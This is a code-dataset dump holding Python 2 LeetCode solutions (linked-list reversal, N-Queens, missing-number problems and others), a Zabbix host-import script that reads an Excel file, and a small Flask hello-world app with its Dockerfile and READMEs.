"src_encoding": "UTF-8", "text": "# -*- coding:utf8 -*-\n\"\"\"\nurl:https://leetcode.com/problems/reverse-linked-list-ii/\nrun time:48 ms\ntips:因为只是旋转部分链表,所以还需要考虑旋转部分前后的关联关系\n\"\"\"\n\n# Definition for singly-linked list.\nclass ListNode(object):\n def __init__(self, x):\n self.val = x\n self.next = None\n\nclass Solution(object):\n\n def reverseBetween(self, head, m, n):\n \"\"\"\n :type head: ListNode\n :type m: int\n :type n: int\n :rtype: ListNode\n \"\"\"\n if not head or not head.next or m == n:\n return head\n\n index = 0\n\n pre_rev_node = None\n first_rev_node = None\n\n pre_node = None\n cur_node = head\n next_node = None\n\n while index < n:\n index += 1\n if index < m:\n pre_rev_node = cur_node\n cur_node = cur_node.next\n continue\n\n if pre_node is None:\n first_rev_node = cur_node\n\n pre_node = cur_node\n cur_node = pre_node.next\n continue\n else:\n if index < n:\n next_node = cur_node.next\n cur_node.next = pre_node\n pre_node = cur_node\n cur_node = next_node\n else:\n # 最后一个交换点\n next_node = cur_node.next if cur_node else None\n\n # 最后一个交换点不是最后一个点\n if next_node:\n cur_node.next = pre_node\n pre_node = cur_node\n first_rev_node.next = next_node\n\n # 最后一个交换点是最后一个点\n else:\n cur_node.next = pre_node\n pre_node = cur_node\n first_rev_node.next = None\n\n if m != 1:\n pre_rev_node.next = pre_node\n return head\n else:\n return pre_node\n \n\ndef show_link_list(head):\n l = []\n while head:\n val = str(head.val)\n if val not in l:\n l.append(val)\n else:\n l.append(val)\n break\n head = head.next\n print ' '.join(l)\n\n\ndef test():\n s = Solution()\n head = ListNode(0)\n node1 = ListNode(1)\n node2 = ListNode(2)\n node3 = ListNode(3)\n head.next = node1\n node1.next = node2\n node2.next = node3\n\n show_link_list(head)\n new_head = s.reverseBetween(head, 1, 2)\n show_link_list(new_head)\n\nif __name__ == '__main__':\n test()\n" }, { "alpha_fraction": 0.5090252757072449, "alphanum_fraction": 0.5252707600593567, "avg_line_length": 18.785715103149414, "blob_id": "47f286b21d7a3e93c683d1b72fb8a27c50448ae1", "content_id": "d9a9e1ca436565129a023adf44bfeeae752d02b2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 558, "license_type": "no_license", "max_line_length": 61, "num_lines": 28, "path": "/Leetcode 35-Search Insert Position.py", "repo_name": "baijinping/leetcode", "src_encoding": "UTF-8", "text": "# -*- coding:utf8 -*-\n\"\"\"\nurl:https://leetcode.com/problems/search-insert-position/\nrun time:40 ms\ntips:水题\n\"\"\"\n\n\nclass Solution(object):\n def searchInsert(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: int\n \"\"\"\n for i, n in enumerate(nums):\n if n >= target:\n return i\n return len(nums)\n \n\ndef test():\n s = Solution()\n import random\n print s.searchInsert(range(1, 10), random.randint(1, 10))\n\nif __name__ == '__main__':\n test()\n" }, { "alpha_fraction": 0.5298742055892944, "alphanum_fraction": 0.5377358198165894, "avg_line_length": 18.875, "blob_id": "db90d03bd91db3d8d8c99090e57775bd1cd2b2cf", "content_id": "3960dc212cda15c738b34c12ccd5178a7aa35f3e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 690, "license_type": "no_license", "max_line_length": 58, "num_lines": 32, "path": "/Leetcode 242-Valid Anagram.py", "repo_name": "baijinping/leetcode", "src_encoding": "UTF-8", "text": "# -*- coding:utf8 -*-\n\"\"\"\nurl:https://leetcode.com/problems/valid-anagram/\nrun time:104 ms\ntips:判断组成s和t的字符集是否相等(即每个字母出现的次数相同)\n\"\"\"\n\n\nclass Solution(object):\n def isAnagram(self, s, t):\n \"\"\"\n :type s: str\n :type t: str\n :rtype: bool\n \"\"\"\n from collections import Counter\n\n s_counter = Counter(s)\n t_counter = Counter(t)\n if s_counter.viewitems() == t_counter.viewitems():\n return True\n return False\n \n \n\ndef test():\n s = Solution()\n string = 'abcdefg'\n print s.isAnagram(string, string[::-1])\n\nif __name__ == '__main__':\n test()\n" }, { "alpha_fraction": 0.4262155294418335, "alphanum_fraction": 0.4412851929664612, "avg_line_length": 23.76760482788086, "blob_id": "51006072f6a23d3413f8d4add71393794815ebd8", "content_id": "c3a6bcd2e1221e67a262ac440e17cf054980800b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3859, "license_type": "no_license", "max_line_length": 71, "num_lines": 142, "path": "/Leetcode 51-N-Queens.py", "repo_name": "baijinping/leetcode", "src_encoding": "UTF-8", "text": "# -*- coding:utf8 -*-\n\"\"\"\nurl:https://leetcode.com/problems/n-queens/\nrun time:204 ms(recursioon), 272 ms(un_recursion)\ntips:用递归进行回溯,对无效的路径剪枝\n\"\"\"\n\n\nclass Solution(object):\n # 解答过程中判断是否冲突的次数\n check_valid_count = 0\n\n def gener_solution_with_stack(self, n, stack):\n \"\"\"\n 根据栈中的记录,生成一个有效解答\n \"\"\"\n solution = []\n for col, row in stack:\n line = '.' * (row - 1) + 'Q' + '.' * (n - row)\n solution.append(line)\n return solution\n\n def check_is_conflict(self, x1, y1, x2, y2):\n \"\"\"\n 检查(x1, y1)和(x2, y2)的位置是否冲突\n \"\"\"\n # 直线冲突\n if x1 == x2 or y1 == y2:\n return True\n\n # 斜线冲突\n if abs(x1 - x2) == abs(y1 - y2):\n return True\n\n return False\n\n def check_is_valid_pos(self, stack, x, y):\n \"\"\"\n 检查在当前的摆放中,(x, y)是否一个有效的新位置\n \"\"\"\n self.check_valid_count += 1\n\n for sx, sy in stack:\n if self.check_is_conflict(sx, sy, x, y):\n return False\n return True\n\n def solve_n_queens_recursion(self, n):\n \"\"\"\n n皇后问题的递归解法\n \"\"\"\n if n == 1:\n return [['Q']]\n elif n < 4:\n return []\n\n solutions = []\n self._find_solution(n, [], solutions)\n return solutions\n\n def _find_solution(self, n, stack, solutions, col=1):\n \"\"\"\n n皇后问题的递归主体\n \"\"\"\n if col > n:\n return\n\n for row in xrange(1, n + 1):\n new_x, new_y = col, row\n if self.check_is_valid_pos(stack, col, row):\n stack.append((col, row))\n\n # 还没有找到一个完整解法,继续递归\n if len(stack) < n:\n self._find_solution(n, stack, solutions, col + 1)\n # 找到完整解法,生成返回结果\n else:\n solution = self.gener_solution_with_stack(n, stack)\n solutions.append(solution)\n\n stack.pop(-1)\n\n def solve_n_queens_un_recursion(self, n):\n \"\"\"\n n皇后问题的非递归解法\n \"\"\"\n if n == 1:\n return [['Q']]\n elif n < 4:\n return []\n\n solutions = []\n\n stack = [(1, 1)]\n while len(stack) != 0:\n lx, ly = stack.pop(-1)\n\n # 当前是有效点,向右找\n if self.check_is_valid_pos(stack, lx, ly):\n stack.append((lx, ly))\n if lx < n:\n stack.append((lx + 1, 1))\n continue\n else:\n solution = self.gener_solution_with_stack(n, stack)\n solutions.append(solution)\n\n # 当前不是有效点,向下找\n if ly < n:\n stack.append((lx, ly + 1))\n # 当前列已经查找完毕\n elif ly == n:\n # 回溯\n while len(stack) > 0:\n px, py = stack.pop(-1)\n if py < n:\n stack.append((px, py + 1))\n break\n\n return solutions\n\n\ndef test():\n s = Solution()\n import time\n for n in range(4, 10):\n print n, '-' * 30\n\n st = time.time()\n solutions = s.solve_n_queens_un_recursion(n)\n et = time.time()\n print len(solutions), et - st, s.check_valid_count\n\n s.check_valid_count = 0\n st2 = time.time()\n solutions = s.solve_n_queens_recursion(n)\n et = time.time()\n print len(solutions), et - st2, s.check_valid_count\n\n\nif __name__ == '__main__':\n test()\n" }, { "alpha_fraction": 0.53963702917099, "alphanum_fraction": 0.5816618800163269, "avg_line_length": 22.266666412353516, "blob_id": "7ca7297535c948d2427939b8cd757dc6003c06a2", "content_id": "b353c748c2e997ad44c2a09ee3716e2dae60d9de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1363, "license_type": "no_license", "max_line_length": 61, "num_lines": 45, "path": "/Leetcode 268-Missing Number.py", "repo_name": "baijinping/leetcode", "src_encoding": "UTF-8", "text": "# -*- coding:utf8 -*-\n\"\"\"\nurl:https://leetcode.com/problems/missing-number/\n<<<<<<< HEAD\nrun time:0 ms\ntips:\n1.由于题目中没有说明给定的数组是有序的,因此遍历直到最后一个数字之前,都不能够知道丢失的是哪个数字\n\"\"\"\n\n\n=======\nrun time:52 ms\ntips:\n1.由于输入数组是无序的,因此遍历到最后一个数字之前,都不能确定到底是那个数字丢失,因此遍历不可避免\n2.一个完整的自然数列和有一个缺失值的自然数列区别就是,其总和不同。差值就是丢失的这个数字\n\"\"\"\n>>>>>>> da5debb81653a46bd7e7d02382c88b2ec281147b\nclass Solution(object):\n def missingNumber(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n # 无缺失值的数组元素总和\n full_num_sum = int(0.5 * len(nums) * (len(nums) + 1))\n # 当前数组元素总和\n num_sum = sum(nums)\n\n return full_num_sum - num_sum\n \n\ndef test():\n import random\n s = Solution()\n for i in range(10):\n nums = range(100)\n miss_num = random.randint(0, len(nums))\n nums.remove(miss_num)\n random.shuffle(nums)\n print '=' * 30, 'test%d' % i, '=' * 30\n print 'miss num is %d' % miss_num\n print 'find mis num is', s.missingNumber(nums)\n\nif __name__ == '__main__':\n test()\n" }, { "alpha_fraction": 0.4207920730113983, "alphanum_fraction": 0.44950494170188904, "avg_line_length": 21.455554962158203, "blob_id": "0181851fff2cb6a956898c315a2f402c1a30d3f1", "content_id": "4df485ebb9a518620085051c8ba65418850b44fc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2328, "license_type": "no_license", "max_line_length": 65, "num_lines": 90, "path": "/Leetcode 41-First Missing Positive.py", "repo_name": "baijinping/leetcode", "src_encoding": "UTF-8", "text": "# -*- coding:utf8 -*-\n\"\"\"\nurl:https://leetcode.com/problems/first-missing-positive/\nrun time:48 ms(bad), 48 ms(better)\ntips:\n在这道题卡了很久,想方设法找规律,还是纠结在数组的无序性上\n最终还是在http://blog.csdn.net/nanjunxiao/article/details/12973173看了解法\n原来就差一步,将参数数组本身当做桶,使得数组正数元素在下一次遍历时保持有序接口即可\n\"\"\"\n\n\nclass Solution(object):\n def firstMissingPositive_bad(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n\n 时空复杂度都没有达到O(n)的不良解法\n \"\"\"\n # 过滤掉非正数,并找到最大最小值\n positive_nums = [n for n in nums if n > 0]\n \n if len(positive_nums) == 0:\n return 1\n\n # 排序 \n positive_nums.sort()\n\n if positive_nums[0] > 1:\n return 1\n\n pre_n = None\n for i, n in enumerate(positive_nums):\n if i == 0:\n pre_n = n\n continue\n elif n == pre_n + 1:\n pre_n = n\n\n return pre_n + 1\n\n def firstMissingPositive(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n len_of_nums = len(nums)\n if len_of_nums == 0:\n return 1\n\n # 第一次遍历,将正数放到与其值对应的位置上\n n = 0\n for i in xrange(len_of_nums):\n n = nums[i]\n\n tmp = 0\n while 1:\n if not 0 < n < len_of_nums or n == nums[n - 1]:\n break\n\n tmp = nums[n - 1]\n nums[n - 1], nums[i], n = n, tmp, tmp\n\n # 第二次遍历,找到第一个非正数所在位置,返回即可\n for i, n in enumerate(nums):\n if i + 1 != n or n <= 0:\n return i + 1\n else:\n return n + 1\n\n\ndef test():\n s = Solution()\n test_cases = [\n ([1, 2, 0], 3),\n ([3, 4, 1, -1], 2),\n ([2], 1),\n ([1, 1], 2),\n ([3, 1], 2),\n ([1], 2),\n ([2, 1], 3),\n ([], 1)\n ]\n for nums, miss_num in test_cases:\n if s.firstMissingPositive(nums) != miss_num:\n print 'Wrong answer in nums:', nums\n\n\nif __name__ == '__main__':\n test()" } ]
17
sarievdima08/Zabbix-Scripts
https://github.com/sarievdima08/Zabbix-Scripts
81778322194c33d30a50dd81434cade38b6976eb
05be611521f893a726699f50e8566049e2f59e1a
0b3b43d34beab0308d59c9b126f3d61af78582be
refs/heads/main
2023-01-12T04:31:25.765708
2020-11-23T16:31:19
2020-11-23T16:31:19
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.8101266026496887, "alphanum_fraction": 0.8101266026496887, "avg_line_length": 38.5, "blob_id": "313a759a62e5764e7f9dfc07120cc38691a0fd1e", "content_id": "eb6e88d359060389d5cff2d56f0be599250b2897", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 79, "license_type": "no_license", "max_line_length": 61, "num_lines": 2, "path": "/README.md", "repo_name": "sarievdima08/Zabbix-Scripts", "src_encoding": "UTF-8", "text": "# Zabbix-Scripts\nSmall script for importing and creating host from Excel list.\n" }, { "alpha_fraction": 0.5415282249450684, "alphanum_fraction": 0.5508909821510315, "avg_line_length": 25.0787410736084, "blob_id": "16a9109206eaf96419865568f1823b535f583495", "content_id": "39521a771040f97ce9ca7597eecc8242483b7d12", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3311, "license_type": "no_license", "max_line_length": 153, "num_lines": 127, "path": "/excelimport.py", "repo_name": "sarievdima08/Zabbix-Scripts", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*- \nimport xlrd\nfrom pyzabbix import ZabbixAPI\nimport pprint\n\nimport sys\nreload(sys)\nsys.setdefaultencoding( \"utf-8\" )\n\n#\nfile_name=raw_input('path:')\n\n#\ntry:\n zapi = ZabbixAPI(\"https://Zabbix_Url\")\n zapi.login(\"Zabbix_user\", \"Zabbix_password\")\nexcept:\n print '\\n hata olustu'\n sys.exit()\n\n#\ndef get_templateid(template_name):\n template_data = {\n \"host\": [template_name]\n }\n result = zapi.template.get(filter=template_data)\n if result:\n return result[0]['templateid']\n else:\n return result\n\n#\ndef check_group(group_name):\n return zapi.hostgroup.get(output= \"groupid\",filter= {\"name\": group_name})\n\n#\ndef create_group(group_name):\n groupid=zapi.hostgroup.create({\"name\": group_name})\n\n#\ndef get_groupid(group_name):\n group_id=check_group(group_name)[0][\"groupid\"]\n return group_id\n\n#\ndef create_host(host_data):\n host=zapi.host.get(output= [\"host\"],filter= {\"host\": host_data[\"host\"]})\n if len(host) > 0 and host[0][\"host\"] == host_data[\"host\"]:\n #print \"host %s exists\" % host_data[\"name\"]\n print \"host exists: %s ,group: %s ,templateid: %s\" % (host_data[\"name\"],host_data[\"groups\"][0][\"groupid\"],host_data[\"templates\"][0][\"templateid\"])\n else:\n zapi.host.create(host_data)\n print \"host created: %s ,group: %s ,templateid: %s\" % (host_data[\"name\"],host_data[\"groups\"][0][\"groupid\"],host_data[\"templates\"][0][\"templateid\"])\n\n#\ndef open_excel(file= file_name):\n try:\n data = xlrd.open_workbook(file)\n return data\n except Exception,e:\n print str(e)\n\n#\ndef get_hosts(file):\n data = open_excel(file)\n table = data.sheets()[0]\n nrows = table.nrows\n ncols = table.ncols\n list = []\n for rownum in range(1,nrows):\n #print table.row_values(rownum)[0]\n list.append(table.row_values(rownum)) \n return list\n\ndef main():\n hosts=get_hosts(file_name)\n for host in hosts:\n host_name=host[6]\n visible_name=\"Dogus \"+host[1]+\" \"+host[5]+\" | \"+host[6]\n host_ip=host[6]\n group=host[0]+\"/\"+host[2]+\"/\"+host[3]\n polling_method =host[7]\n if polling_method == \"SNMP\":\n template = \"Template Net Network Generic Device SNMPv2\"\n else:\n template = \"Template Module ICMP Ping\"\n templateid=get_templateid(template)\n #inventory_location=host[5]\n #print templateid\n if not check_group(group):\n print u'Added host grup: %s' % group\n groupid=create_group(group)\n #print groupid\n groupid=get_groupid(group)\n host_data = {\n \"host\": host_name,\n \"name\": visible_name,\n \"interfaces\": [\n {\n \"type\": 2,\n \"main\": 1,\n \"useip\": 1,\n \"ip\": host_ip.strip(),\n \"dns\": \"\",\n \"port\": \"161\",\n \"details\": {\n \"version\": 2,\n \"community\": \"public\"\n }\n }\n ],\n \"groups\": [\n {\n \"groupid\": groupid\n }\n ],\n \"templates\": [\n {\n \"templateid\": templateid\n }\n ]\n }\n #print \"visiblename: %s ,group: %s ,templateid: %s\" % (visible_name,group,templateid)\n create_host(host_data)\n\nif __name__==\"__main__\":\n main()" } ]
2
kkkchan/Face_expression_recognition
https://github.com/kkkchan/Face_expression_recognition
623d61cfe204b7a3307c60dbf456974ced2015a8
75a20de21886d350f33c1f408f7ad54d7b2be639
4636c83b8053b87a723078548edb03ef7314b789
refs/heads/master
2022-12-06T13:04:08.465653
2020-08-26T03:29:18
2020-08-26T03:29:18
290,407,167
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5857964158058167, "alphanum_fraction": 0.598111629486084, "avg_line_length": 30.649351119995117, "blob_id": "57db06422cafa4fae53d037161e9abaaa950f1ee", "content_id": "082faabc6de31c071950bd6a72028ce9c4de85ab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2468, "license_type": "no_license", "max_line_length": 105, "num_lines": 77, "path": "/camera.py", "repo_name": "kkkchan/Face_expression_recognition", "src_encoding": "UTF-8", "text": "import tkinter\nimport cv2\nimport time\nfrom PIL import Image, ImageTk\n\n\nclass MyVideoCapture:\n \"\"\"docstring for MyVideoCapture\"\"\"\n def __init__(self, rate, video_source=0):\n self.rate = rate\n self.vid = cv2.VideoCapture(video_source)\n if not self.vid.isOpened():\n raise ValueError('Unable to open video source', video_source)\n \n self.width = int(self.vid.get(cv2.CAP_PROP_FRAME_WIDTH) * rate)\n self.height = int(self.vid.get(cv2.CAP_PROP_FRAME_HEIGHT) * rate)\n\n \n def get_frame(self):\n if self.vid.isOpened():\n flag, frame = self.vid.read()\n # print(frame.shape)\n frame = cv2.resize(frame, (int(frame.shape[1] * self.rate), int(frame.shape[0] * self.rate)))\n # print(frame.shape)\n if flag:\n return (flag, cv2.cvtColor(frame, cv2.COLOR_BGR2RGB))\n else:\n return (flag, None)\n\n\n def __del__(self):\n if self.vid.isOpened():\n self.vid.release()\n\n\nclass App:\n def __init__(self, window, window_title, rate=1):\n self.window = window\n self.window.title(window_title)\n self.vid = MyVideoCapture(rate=rate)\n self.rate = rate\n self.canvas = tkinter.Canvas(window, width=self.vid.width, height=self.vid.height)\n self.canvas.pack()\n\n self.btn_snapshot = tkinter.Button(window, text='截图', width=50, command=self.snapshot)\n self.btn_snapshot.pack(anchor=tkinter.CENTER, expand=True)\n self.btn_exit = tkinter.Button(window, text='关闭', width=50, command=self.window.destroy)\n self.btn_exit.pack(anchor=tkinter.CENTER, expand=True)\n\n\n self.delay = 10\n self.update()\n\n self.window.mainloop()\n\n\n def snapshot(self):\n flag, frame = self.vid.get_frame()\n\n if flag:\n cv2.imwrite('snapshot-' + time.strftime(\"%d-%m-%Y-%H-%M-%S\") + '.jpg',\n cv2.flip(cv2.cvtColor(frame, cv2.COLOR_BGR2RGB), 1))\n\n\n\n def update(self):\n flag, frame = self.vid.get_frame()\n\n if flag:\n # cv2.flip(frame, 1)实现水平翻转,即自拍镜像\n self.pic = ImageTk.PhotoImage(image=Image.fromarray(cv2.flip(frame, 1)))\n self.canvas.create_image(0, 0, image=self.pic, anchor=tkinter.NW)\n\n self.window.after(self.delay, self.update)\n\n# Create a window and pass it to the Application object\nApp(tkinter.Tk(), \"Tkinter and OpenCV\")" }, { "alpha_fraction": 0.5715056657791138, "alphanum_fraction": 0.5957906246185303, "avg_line_length": 35.70296859741211, "blob_id": "bbe1099614bf0d922b8f255d6e879b45128b5617", "content_id": "0dba23ef41311bff5c5c27c6de9d20b31d1a625c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3742, "license_type": "no_license", "max_line_length": 147, "num_lines": 101, "path": "/gui.py", "repo_name": "kkkchan/Face_expression_recognition", "src_encoding": "UTF-8", "text": "import tkinter\nimport cv2\nimport time\nimport numpy as np \nfrom PIL import Image, ImageTk\nfrom tensorflow import keras\n\n\nemotion_dict = {0: \" Angry \", 1: \"Disgusted\", 2: \" Fearful \", 3: \" Happy \", 4: \" Neutral \", 5: \" Sad \", 6: \"Surprised\"}\nemotion_model = keras.models.load_model('model.h5')\nshow_text=[0]\n\n\nclass MyVideoCapture:\n \"\"\"docstring for MyVideoCapture\"\"\"\n def __init__(self, video_source=0, rate=1):\n self.rate = rate\n self.vid = cv2.VideoCapture(video_source)\n if not self.vid.isOpened():\n raise ValueError('Unable to open video source', video_source)\n \n self.width = int(self.vid.get(cv2.CAP_PROP_FRAME_WIDTH) * rate)\n self.height = int(self.vid.get(cv2.CAP_PROP_FRAME_HEIGHT) * rate)\n\n \n def get_frame(self):\n if self.vid.isOpened():\n flag, frame = self.vid.read()\n # print(frame.shape)\n frame = cv2.resize(frame, (int(frame.shape[1] * self.rate), int(frame.shape[0] * self.rate)))\n # print(frame.shape)\n if flag:\n return (flag, cv2.cvtColor(frame, cv2.COLOR_BGR2RGB))\n else:\n return (flag, None)\n\n\n def __del__(self):\n if self.vid.isOpened():\n self.vid.release()\n\n\nclass App:\n def __init__(self, window, window_title, rate=1):\n self.window = window\n self.window.title(window_title)\n self.vid = MyVideoCapture(rate=rate)\n self.rate = rate\n self.canvas = tkinter.Canvas(window, width=self.vid.width, height=self.vid.height)\n self.canvas.pack()\n\n self.btn_snapshot = tkinter.Button(window, text='截图', width=50, command=self.snapshot)\n self.btn_snapshot.pack(anchor=tkinter.CENTER, expand=True)\n self.btn_exit = tkinter.Button(window, text='关闭', width=50, command=self.window.destroy)\n self.btn_exit.pack(anchor=tkinter.CENTER, expand=True)\n\n\n # 时延\n self.delay = 15\n self.update()\n\n self.window.mainloop()\n\n\n def snapshot(self):\n flag, frame = self.vid.get_frame()\n\n if flag:\n cv2.imwrite('snapshot-' + time.strftime(\"%d-%m-%Y-%H-%M-%S\") + '.jpg',\n cv2.flip(cv2.cvtColor(frame, cv2.COLOR_BGR2RGB), 1))\n\n\n\n def update(self):\n flag, frame = self.vid.get_frame()\n frame = cv2.flip(frame, 1)\n bounding_box = cv2.CascadeClassifier('/Users/kimon/opt/anaconda3/lib/python3.7/site-packages/cv2/data/haarcascade_frontalface_default.xml')\n if bounding_box.empty():\n print('File not exists!')\n gray_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n num_faces = bounding_box.detectMultiScale(gray_frame, scaleFactor=1.3, minNeighbors=5)\n for (x, y, w, h) in num_faces:\n cv2.rectangle(frame, (x, y-50), (x+w, y+h+10), (255, 0, 0), 2)\n roi_gray_frame = gray_frame[y:y + h, x:x + w]\n cropped_img = np.expand_dims(np.expand_dims(cv2.resize(roi_gray_frame, (48, 48)), -1), 0)\n prediction = emotion_model.predict(cropped_img)\n \n maxindex = int(np.argmax(prediction))\n cv2.putText(frame, emotion_dict[maxindex], (x+20, y-60), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 2, cv2.LINE_AA)\n show_text[0]=maxindex\n\n if flag:\n # cv2.flip(frame, 1)实现水平翻转,即自拍镜像\n # self.pic = ImageTk.PhotoImage(image=Image.fromarray(cv2.flip(frame, 1)))\n self.pic = ImageTk.PhotoImage(image=Image.fromarray(frame))\n self.canvas.create_image(0, 0, image=self.pic, anchor=tkinter.NW)\n\n self.window.after(self.delay, self.update)\n\n\nApp(tkinter.Tk(), \"Face Expression Recognition\")" }, { "alpha_fraction": 0.6672185659408569, "alphanum_fraction": 0.7185430526733398, "avg_line_length": 27.3125, "blob_id": "828cf69d786561a9a9780b2cdff628c84eb3dd21", "content_id": "8ecc68ee08d4a6c829f7bd2211eab83c23c2663e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1812, "license_type": "no_license", "max_line_length": 96, "num_lines": 64, "path": "/train.py", "repo_name": "kkkchan/Face_expression_recognition", "src_encoding": "UTF-8", "text": "import numpy as np \n\nimport tensorflow.keras as keras\nimport tensorflow as tf\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\n\n\ntrain_dir = 'face_expression/train'\nval_dir = 'face_expression/test'\ntrain_datagen = ImageDataGenerator(rescale=1. / 255)\nval_datagen = ImageDataGenerator(rescale=1. / 255)\n\n\ntrain_gen = train_datagen.flow_from_directory(\n train_dir,\n target_size=(48, 48),\n batch_size=64,\n color_mode='grayscale',\n class_mode='categorical')\n\nvalidation_gen = val_datagen.flow_from_directory(\n val_dir,\n target_size=(48, 48),\n batch_size=64,\n color_mode='grayscale',\n class_mode='categorical')\n\n\nmodel = keras.models.Sequential()\n\nmodel.add(keras.layers.Conv2D(32, kernel_size=(3, 3), activation='relu', input_shape=(48,48,1)))\nmodel.add(keras.layers.Conv2D(64, kernel_size=(3, 3), activation='relu'))\nmodel.add(keras.layers.MaxPooling2D(pool_size=(2, 2)))\nmodel.add(keras.layers.Dropout(0.25))\n\nmodel.add(keras.layers.Conv2D(128, kernel_size=(3, 3), activation='relu'))\nmodel.add(keras.layers.MaxPooling2D(pool_size=(2, 2)))\nmodel.add(keras.layers.Conv2D(128, kernel_size=(3, 3), activation='relu'))\nmodel.add(keras.layers.MaxPooling2D(pool_size=(2, 2)))\nmodel.add(keras.layers.Dropout(0.25))\n\nmodel.add(keras.layers.Flatten())\nmodel.add(keras.layers.Dense(1024, activation='relu'))\nmodel.add(keras.layers.Dropout(0.5))\nmodel.add(keras.layers.Dense(7, activation='softmax'))\n\nmodel.summary()\n\n\nmodel.compile(loss='categorical_crossentropy', \n optimizer=keras.optimizers.Adam(lr=0.0001, decay=1e-6),\n metrics=['accuracy'])\n\n\nmodel_info = model.fit(\n train_gen,\n steps_per_epoch=28709 // 64,\n epochs=50,\n validation_data=validation_gen,\n validation_steps=7178 // 64)\n\n\nmodel.save('model.h5')\nmodel.save_weights('model_weights.h5')\n" }, { "alpha_fraction": 0.6782077550888062, "alphanum_fraction": 0.7474541664123535, "avg_line_length": 19.5, "blob_id": "5b1f8653913273bb86dca8023b6c96cc0b7a3f58", "content_id": "1a1dd4ef20f38dc255d00e64b07629912106e4ea", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 777, "license_type": "no_license", "max_line_length": 183, "num_lines": 24, "path": "/README.md", "repo_name": "kkkchan/Face_expression_recognition", "src_encoding": "UTF-8", "text": "## 组成\n\n1. **训练模型**\n2. **实时识别视频中人脸表情**\n\n## 数据集\n\nKaggle数据集:[FER-2013](https://www.kaggle.com/msambare/fer2013)\n\n大小为53.89MB,包括7种表情\n\n训练集数量:28709\n\n测试集数量:7178\n\n50轮训练后准确率:约86%\n\n## GUI\n\n使用Tkinter进行GUI实现,[`camera.py`](camera.py)实现了在Tkinter中实时显示摄像头的功能,[`gui.py`](gui.py)在此基础上加上了人脸检测(openCV)和表情检测(数据集上训练所得模型)\n\n## 使用说明\n\n更改[`gui.py`](gui.py)中的77行参数,将`/Users/kimon/opt/anaconda3/lib/python3.7/site-packages/cv2/data/haarcascade_frontalface_default.xml`更改为opencv-python库在系统中实际的路径,之后直接运行[`gui.py`](gui.py)即可" } ]
4
bobclarke/brigade-test
https://github.com/bobclarke/brigade-test
8fa68ed0e95ea90846967d3e9f84de8c38159f7f
cacd64735da1db7e4abc8edc42839b95ea7b4fcb
f8199de3b4aaf8c85877c4f9e82cefad16796946
refs/heads/master
2020-05-02T23:18:27.828993
2019-03-28T22:14:06
2019-03-28T22:14:06
178,276,781
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6783216595649719, "alphanum_fraction": 0.7132866978645325, "avg_line_length": 12, "blob_id": "ad5a7ab5e4869275644de02c67e3cb4ccb76d311", "content_id": "45427e9d7bb756ea1465b76da5c2e8052250cddd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 143, "license_type": "no_license", "max_line_length": 28, "num_lines": 11, "path": "/Dockerfile", "repo_name": "bobclarke/brigade-test", "src_encoding": "UTF-8", "text": "FROM python:3\nRUN pip install flask\nRUN pip install pymongo\n\nWORKDIR /usr/src/app\n\nCOPY hello.py ./\n\nEXPOSE 5000\n\nCMD [ \"python\", \"hello.py\" ]\n" }, { "alpha_fraction": 0.6871165633201599, "alphanum_fraction": 0.6871165633201599, "avg_line_length": 15.399999618530273, "blob_id": "4b67531106482320a82ef12443dd3a14daf9db67", "content_id": "fc044c00261bd98fcd2a8570870273240a7649f5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 163, "license_type": "no_license", "max_line_length": 50, "num_lines": 10, "path": "/hello.py", "repo_name": "bobclarke/brigade-test", "src_encoding": "UTF-8", "text": "from flask import Flask\nimport pymongo\nimport sys\nimport os\n\napp = Flask(__name__)\n\[email protected](\"/\")\ndef hello():\n return \"Hello World! - this is a Brigade Test\"" }, { "alpha_fraction": 0.7387217879295349, "alphanum_fraction": 0.7387217879295349, "avg_line_length": 36.78571319580078, "blob_id": "ec1792c2c46ee56ae07ed6b5d08661b5ca5853d2", "content_id": "c4399550403f422a6d058f2bbf4763b4e8dc3227", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 532, "license_type": "no_license", "max_line_length": 128, "num_lines": 14, "path": "/README.md", "repo_name": "bobclarke/brigade-test", "src_encoding": "UTF-8", "text": "# brigade-test\n\n## Pre-reqs\n* A Kubernetes server\n* Helm\n\n## How to use \n* Install brigade (I'm using the legacy Github gateway and therefore provided the --set gw.enabled=true argument)\n* Clone this repo \n* Edit brigade-project.yaml\n* Install the brigade project ```helm install -n hello-py brigade/brigade-project -f brigade-project.yaml --namespace brigade```\n* Check the project has been set up ```brig project list -n brigade```\n* Set up a webhook to capture github events (note you'll need to expose your github gateway)\n* \n\n\n" } ]
3
coder-chenzhi/predict_rank
https://github.com/coder-chenzhi/predict_rank
dff8603794ac27799907021747239f6aa3fe46ea
3147f94d24a8c2637c4977146dc9f505a33d5fa6
7dbfceb3069cf165d1653e31b3c04931e0ed78a4
